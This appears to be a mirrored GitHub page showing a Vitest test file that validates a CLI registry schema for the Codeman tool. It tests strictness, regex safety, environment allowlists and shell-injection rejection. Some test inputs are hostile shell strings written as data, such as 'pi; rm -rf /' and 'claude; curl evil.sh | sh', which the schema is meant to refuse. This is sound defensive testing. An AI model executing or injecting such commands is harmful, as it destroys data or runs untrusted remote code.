mirror of
https://github.com/Ark0N/Codeman.git
synced 2026-09-30 12:39:42 +02:00
When Claude hands work to an ultracode workflow or background agents, it ends its own turn and closes it with `✻ Waiting for 1 dynamic workflow to finish` instead of `✻ Brewed for 1m 18s`, then resumes by itself when the workers report back. The pane sits quiet with the composer up, so the idle probe called the session idle for the whole wait. At phone width the workflow's progress row also drops its ticking timer, so nothing on screen changes for minutes. A new optional registry field, `capabilities.workDetect.awaitingLine`, names that closing row, and `_probePaneWorking()` counts it as work. Claude renders the row once from a snapshot and never redraws it, so the same words stay on screen after the workers finish. `isAwaitingWorkers()` therefore tests only the newest column-0 row directly above the composer, never the whole pane and never the PTY stream; a follow-up turn always puts rows of its own there. The column-0 anchor also keeps an agent from holding its own tab busy by printing the sentence. Verified against the live Mac mini pane that reported the bug (2.1.283), and end to end on an isolated instance: an ultracode session running a 90 s workflow at 46 columns stayed busy through the wait and the follow-up turn, then went idle 6 s after that turn closed. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
367 lines
16 KiB
TypeScript
367 lines
16 KiB
TypeScript
/**
|
|
* @fileoverview Validation rules for a `CliEntry`.
|
|
*
|
|
* `~/.codeman/clis.json` is hand-editable and selects the binaries Codeman spawns, so this
|
|
* schema is a security boundary, not a typo-catcher. Two properties carry that weight:
|
|
*
|
|
* - **Everything is `.strict()`.** An unknown key is a hard error. On a permissive schema a
|
|
* misspelled field name degrades to "field absent → the permissive default applies",
|
|
* which is the worst possible failure mode for a field like `privilegedEnvKeys`.
|
|
* - **No shell text can reach the command line.** Every literal is checked against a
|
|
* safe-word pattern at LOAD time, and a literal that fails REJECTS THE WHOLE ENTRY rather
|
|
* than being dropped — a silently dropped flag would change security-relevant behaviour
|
|
* (losing `--no-approve` is not a cosmetic difference).
|
|
*
|
|
* Port: none (pure schema).
|
|
*/
|
|
|
|
import { describe, it, expect } from 'vitest';
|
|
import { CliEntrySchema } from '../src/config/cli-registry/schema.js';
|
|
import { compileVersionRegex } from '../src/config/cli-registry/patterns.js';
|
|
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
|
|
import type { CliEntry } from '../src/config/cli-registry/types.js';
|
|
|
|
/** A deep clone of a shipped entry, as the base for "valid except for X" cases. */
|
|
function baseEntry(id = 'pi'): Record<string, unknown> {
|
|
const found = STOCK_CLIS.find((e) => (e.id as string) === id);
|
|
if (!found) throw new Error(`no stock entry ${id}`);
|
|
return JSON.parse(JSON.stringify(found)) as Record<string, unknown>;
|
|
}
|
|
|
|
function expectRejected(mutate: (entry: Record<string, unknown>) => void, because: string): void {
|
|
const entry = baseEntry();
|
|
mutate(entry);
|
|
const result = CliEntrySchema.safeParse(entry);
|
|
expect(result.success, `expected rejection: ${because}`).toBe(false);
|
|
}
|
|
|
|
describe('customModelInjection.launchModel', () => {
|
|
it('rejects a template with characters the argv engine would have to quote', () => {
|
|
expectRejected((e) => {
|
|
const caps = e.capabilities as Record<string, unknown>;
|
|
caps.customModelInjection = { ...(caps.customModelInjection as object), launchModel: 'custom/{modelId} --yolo' };
|
|
}, 'a space in the launch-model template');
|
|
expectRejected((e) => {
|
|
const caps = e.capabilities as Record<string, unknown>;
|
|
caps.customModelInjection = { ...(caps.customModelInjection as object), launchModel: '' };
|
|
}, 'an empty launch-model template');
|
|
});
|
|
|
|
it('accepts the placeholder form the stock entries use', () => {
|
|
const entry = baseEntry();
|
|
const caps = entry.capabilities as Record<string, unknown>;
|
|
caps.customModelInjection = { ...(caps.customModelInjection as object), launchModel: 'custom/{modelId}' };
|
|
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
|
|
});
|
|
});
|
|
|
|
describe('the shipped catalog', () => {
|
|
it('validates every stock entry exactly as shipped', () => {
|
|
// If this fails, the catalog cannot load at all — every other test here is downstream.
|
|
for (const entry of STOCK_CLIS) {
|
|
const result = CliEntrySchema.safeParse(entry);
|
|
expect(
|
|
result.success,
|
|
`stock entry "${entry.id as string}" failed: ${JSON.stringify(result.error?.issues)}`
|
|
).toBe(true);
|
|
}
|
|
expect(STOCK_CLIS.length).toBeGreaterThanOrEqual(9);
|
|
});
|
|
|
|
it('ships every entry with a unique id and order', () => {
|
|
const ids = STOCK_CLIS.map((e) => e.id as string);
|
|
expect(new Set(ids).size).toBe(ids.length);
|
|
const orders = STOCK_CLIS.map((e) => e.order);
|
|
expect(new Set(orders).size).toBe(orders.length);
|
|
});
|
|
});
|
|
|
|
describe('strictness', () => {
|
|
it('rejects an unknown key at the top level', () => {
|
|
expectRejected((e) => {
|
|
e.unknownField = true;
|
|
}, 'a typo must not degrade to a permissive default');
|
|
});
|
|
|
|
it('rejects an unknown key deep inside capabilities', () => {
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).newSwitch = true;
|
|
}, 'strictness has to hold at every depth, not just the top');
|
|
});
|
|
|
|
it('rejects an unknown key inside discovery', () => {
|
|
expectRejected((e) => {
|
|
(e.discovery as Record<string, unknown>).probeEverything = true;
|
|
}, 'strictness has to hold at every depth');
|
|
});
|
|
});
|
|
|
|
describe('workDetect.workingLine is guarded like every other config regex', () => {
|
|
it('rejects a nested quantifier', () => {
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).workDetect = { promptGlyph: '>', workingLine: '(a+)+b' };
|
|
}, 'this pattern is compiled once and then run against every accumulated PTY chunk, so catastrophic backtracking here freezes the event loop for the whole server');
|
|
});
|
|
|
|
it('rejects a source longer than compileVersionRegex() will compile', () => {
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).workDetect = { promptGlyph: '>', workingLine: 'a'.repeat(201) };
|
|
}, 'the schema must not accept a pattern the runtime will then refuse to compile, or the CLI silently falls back to the Claude pattern');
|
|
});
|
|
|
|
it('rejects a pattern that is not a regex at all', () => {
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).workDetect = { promptGlyph: '>', workingLine: '([unclosed' };
|
|
}, 'a broken pattern must fail at LOAD time, not inside the PTY data handler');
|
|
});
|
|
|
|
it('accepts both shipped patterns unchanged', () => {
|
|
for (const entry of STOCK_CLIS) {
|
|
const src = entry.capabilities.workDetect?.workingLine;
|
|
if (!src) continue;
|
|
expect(compileVersionRegex(src), `${entry.id} declares a workingLine the guard refuses`).not.toBeNull();
|
|
}
|
|
});
|
|
|
|
it('holds the optional watchingLine to the same guard', () => {
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).workDetect = {
|
|
promptGlyph: '>',
|
|
workingLine: 'working',
|
|
watchingLine: '(a+)+b',
|
|
};
|
|
}, 'this one runs over a pane capture every time a session settles, so it can freeze the event loop the same way');
|
|
});
|
|
|
|
it('bounds how far up the screen a config file may search', () => {
|
|
// The window is the injection guard: every row it adds is another row the agent
|
|
// itself may be able to write, and the label is what silences an idle alert.
|
|
for (const lines of [0, 9, 2.5]) {
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).workDetect = {
|
|
promptGlyph: '>',
|
|
workingLine: 'working',
|
|
watchingLine: 'chip (\\d+)',
|
|
watchingLines: lines,
|
|
};
|
|
}, 'a config file must not be able to widen the search to the whole pane');
|
|
}
|
|
});
|
|
|
|
it('refuses a window with no pattern to bound', () => {
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).workDetect = {
|
|
promptGlyph: '>',
|
|
workingLine: 'working',
|
|
watchingLines: 3,
|
|
};
|
|
}, 'a window with nothing to search is a typo whose failure is otherwise silent');
|
|
});
|
|
|
|
it('accepts every shipped watchingLine', () => {
|
|
for (const entry of STOCK_CLIS) {
|
|
const src = entry.capabilities.workDetect?.watchingLine;
|
|
if (!src) continue;
|
|
expect(compileVersionRegex(src), `${entry.id} declares a watchingLine the guard refuses`).not.toBeNull();
|
|
}
|
|
});
|
|
|
|
it('holds the optional awaitingLine to the same guard', () => {
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).workDetect = {
|
|
promptGlyph: '>',
|
|
workingLine: 'working',
|
|
awaitingLine: '(a+)+b',
|
|
};
|
|
}, 'it is tested against a pane row every time a session settles');
|
|
});
|
|
|
|
it('accepts every shipped awaitingLine', () => {
|
|
for (const entry of STOCK_CLIS) {
|
|
const src = entry.capabilities.workDetect?.awaitingLine;
|
|
if (!src) continue;
|
|
expect(compileVersionRegex(src), `${entry.id} declares an awaitingLine the guard refuses`).not.toBeNull();
|
|
}
|
|
});
|
|
});
|
|
|
|
describe('no shell text can reach the command line', () => {
|
|
it('rejects a literal carrying shell metacharacters', () => {
|
|
for (const evil of ['pi; rm -rf /', 'pi && curl evil.sh', 'pi`whoami`', 'pi $(id)', 'pi | tee', 'pi > /etc/x']) {
|
|
expectRejected(
|
|
(e) => {
|
|
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
|
launch.variants[0].args[0] = { lit: evil };
|
|
},
|
|
`literal ${JSON.stringify(evil)} must be refused`
|
|
);
|
|
}
|
|
});
|
|
|
|
it('rejects a fixed flag VALUE carrying shell metacharacters', () => {
|
|
expectRejected((e) => {
|
|
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
|
launch.variants[0].args.push({ flag: '--model', value: 'a`b`' });
|
|
}, 'a fixed value is a literal too');
|
|
});
|
|
|
|
it('rejects a flag that does not look like a flag', () => {
|
|
expectRejected((e) => {
|
|
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
|
launch.variants[0].args.push({ flag: 'rm -rf /' });
|
|
}, 'a flag must match -x / --long-flag');
|
|
});
|
|
|
|
it('rejects an overlay command that is more than bare words', () => {
|
|
expectRejected((e) => {
|
|
e.overlays = { remote: { command: 'claude; curl evil.sh | sh' } };
|
|
}, 'overlay commands are one bare command plus bare flags, not an escape hatch into shell');
|
|
});
|
|
});
|
|
|
|
describe('cross-field integrity', () => {
|
|
it('rejects a valueFrom naming an undeclared param', () => {
|
|
expectRejected((e) => {
|
|
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
|
launch.variants[0].args.push({ flag: '--model', valueFrom: 'noSuchParam' });
|
|
}, 'a dangling valueFrom silently emits nothing');
|
|
});
|
|
|
|
it('rejects a capabilityGate naming an undeclared gate', () => {
|
|
expectRejected((e) => {
|
|
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
|
launch.variants[0].args.push({ flag: '--new', when: { capabilityGate: 'noSuchGate' } });
|
|
}, 'an unknown gate never passes, so the flag would be silently unreachable');
|
|
});
|
|
|
|
it('rejects a fallback chain whose last variant is conditional', () => {
|
|
expectRejected((e) => {
|
|
const launch = e.launch as Record<string, unknown>;
|
|
launch.chain = 'fallback';
|
|
(launch.variants as Array<Record<string, unknown>>)[0].when = { param: 'model', state: 'set' };
|
|
}, 'the terminal case of a fallback chain must be guaranteed to render');
|
|
});
|
|
|
|
it('rejects a legacyConfigAliases key naming an undeclared param', () => {
|
|
expectRejected((e) => {
|
|
(e.launch as Record<string, unknown>).legacyConfigAliases = { nope: 'resumeSessionId' };
|
|
}, 'an alias for a param that does not exist can never apply');
|
|
});
|
|
|
|
it('rejects a configSetenv reading an undeclared param', () => {
|
|
// Losing this mapping for DeepSeek would silently drop a permission clamp.
|
|
expectRejected((e) => {
|
|
(e.env as Record<string, unknown>).configSetenv = [{ name: 'DSH_PERMISSION_MODE', fromParam: 'nope' }];
|
|
}, 'exporting from a param that does not exist would export nothing, silently');
|
|
});
|
|
|
|
it('rejects a privilegedParams clamp naming an undeclared param', () => {
|
|
// The security-relevant twin of the configSetenv case above, and the sharper of the two:
|
|
// `privilegedParams[].param` is the multi-user bypass clamp's only handle on a CLI's
|
|
// privilege switch, and a wrong name there clamps NOTHING with no error anywhere.
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).privilegedParams = [{ param: 'nope', clampTo: false }];
|
|
}, 'clamping a param that does not exist would silently stop clamping');
|
|
});
|
|
|
|
it('names privilegedParams in the LAUNCH-PARAM namespace, not the legacy wire one', () => {
|
|
// codex is the entry where the two names differ, so it is the one that catches a
|
|
// regression here. Naming the wire field (`dangerouslyBypassApprovals`) instead of the
|
|
// param (`bypassApprovals`) must be a load-time REJECTION, not a silent no-op — and the
|
|
// shipped entry must be on the param side of that line.
|
|
const codex = STOCK_CLIS.find((e) => (e.id as string) === 'codex');
|
|
expect(codex).toBeDefined();
|
|
expect(codex!.capabilities.privilegedParams.map((c) => c.param)).toEqual(['bypassApprovals']);
|
|
expect(codex!.launch.legacyConfigAliases?.bypassApprovals).toBe('dangerouslyBypassApprovals');
|
|
|
|
const wrong = baseEntry('codex');
|
|
(wrong.capabilities as Record<string, unknown>).privilegedParams = [
|
|
{ param: 'dangerouslyBypassApprovals', clampTo: false },
|
|
];
|
|
expect(CliEntrySchema.safeParse(wrong).success).toBe(false);
|
|
});
|
|
|
|
it('rejects a profile name this build does not implement', () => {
|
|
expectRejected((e) => {
|
|
(e.discovery as Record<string, unknown>).launcherProfile = 'no-such-profile';
|
|
}, 'an unimplemented launcher profile fails closed and the CLI looks permanently uninstalled');
|
|
expectRejected((e) => {
|
|
(e.env as Record<string, unknown>).setenvProfile = 'no-such-profile';
|
|
}, 'an unimplemented setenv profile silently skips setup the CLI needs');
|
|
});
|
|
});
|
|
|
|
describe('the env allowlist cannot be widened by config', () => {
|
|
it('requires a prefix to end with an underscore', () => {
|
|
expectRejected((e) => {
|
|
(e.env as Record<string, unknown>).allowedPrefixes = ['CLAUDE'];
|
|
}, 'a prefix without a trailing _ matches more namespaces than it names');
|
|
});
|
|
|
|
it('rejects a prefix short enough to swallow unrelated namespaces', () => {
|
|
// The anti-widening case: `P_` would admit PATH-adjacent and every other P namespace at
|
|
// once, and the allowlist is ONE GLOBAL LIST applied to every mode.
|
|
expectRejected((e) => {
|
|
(e.env as Record<string, unknown>).allowedPrefixes = ['P_'];
|
|
}, 'a 2-char prefix is too broad for a global allowlist');
|
|
});
|
|
|
|
it('rejects an env NAME that is not UPPER_SNAKE_CASE', () => {
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).privilegedEnvKeys = ['dsh-permission-mode'];
|
|
}, 'env names are UPPER_SNAKE_CASE; anything else would never match a real key');
|
|
});
|
|
});
|
|
|
|
describe('identity', () => {
|
|
it('rejects an id that is not a lowercase kebab token', () => {
|
|
for (const bad of ['Pi', 'my cli', '1pi', 'pi/../x', '']) {
|
|
const entry = baseEntry();
|
|
entry.id = bad;
|
|
expect(CliEntrySchema.safeParse(entry).success, `id ${JSON.stringify(bad)} must be refused`).toBe(false);
|
|
}
|
|
});
|
|
|
|
it('rejects an accent that is not a 6-digit hex colour', () => {
|
|
expectRejected((e) => {
|
|
e.accent = 'red';
|
|
}, 'the accent is interpolated into CSS');
|
|
});
|
|
|
|
it('accepts a well-formed custom entry built from a stock one', () => {
|
|
const entry = baseEntry();
|
|
entry.id = 'my-cli';
|
|
entry.label = 'My CLI';
|
|
entry.stock = false;
|
|
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
|
|
});
|
|
});
|
|
|
|
describe('capability shapes', () => {
|
|
it('accepts only the three hook states', () => {
|
|
for (const value of ['none', 'always', 'supervised']) {
|
|
const entry = baseEntry();
|
|
(entry.capabilities as Record<string, unknown>).hooks = value;
|
|
expect(CliEntrySchema.safeParse(entry).success, `hooks=${value}`).toBe(true);
|
|
}
|
|
// A boolean was the old shape and must NOT quietly work — `true` would have to mean
|
|
// 'always', which is wrong for a supervised CLI.
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).hooks = true;
|
|
}, 'hooks is a tri-state, not a boolean');
|
|
});
|
|
|
|
it('accepts only known transcript readers', () => {
|
|
const entry = baseEntry() as unknown as CliEntry;
|
|
for (const value of ['claude-jsonl', 'codex-rollout', 'deepseek-zstd', 'none']) {
|
|
const candidate = baseEntry();
|
|
(candidate.capabilities as Record<string, unknown>).transcript = value;
|
|
expect(CliEntrySchema.safeParse(candidate).success, `transcript=${value}`).toBe(true);
|
|
}
|
|
expect(entry.capabilities.transcript).toBeDefined();
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).transcript = 'some-future-format';
|
|
}, 'a transcript reader that does not exist would silently read nothing');
|
|
});
|
|
});
|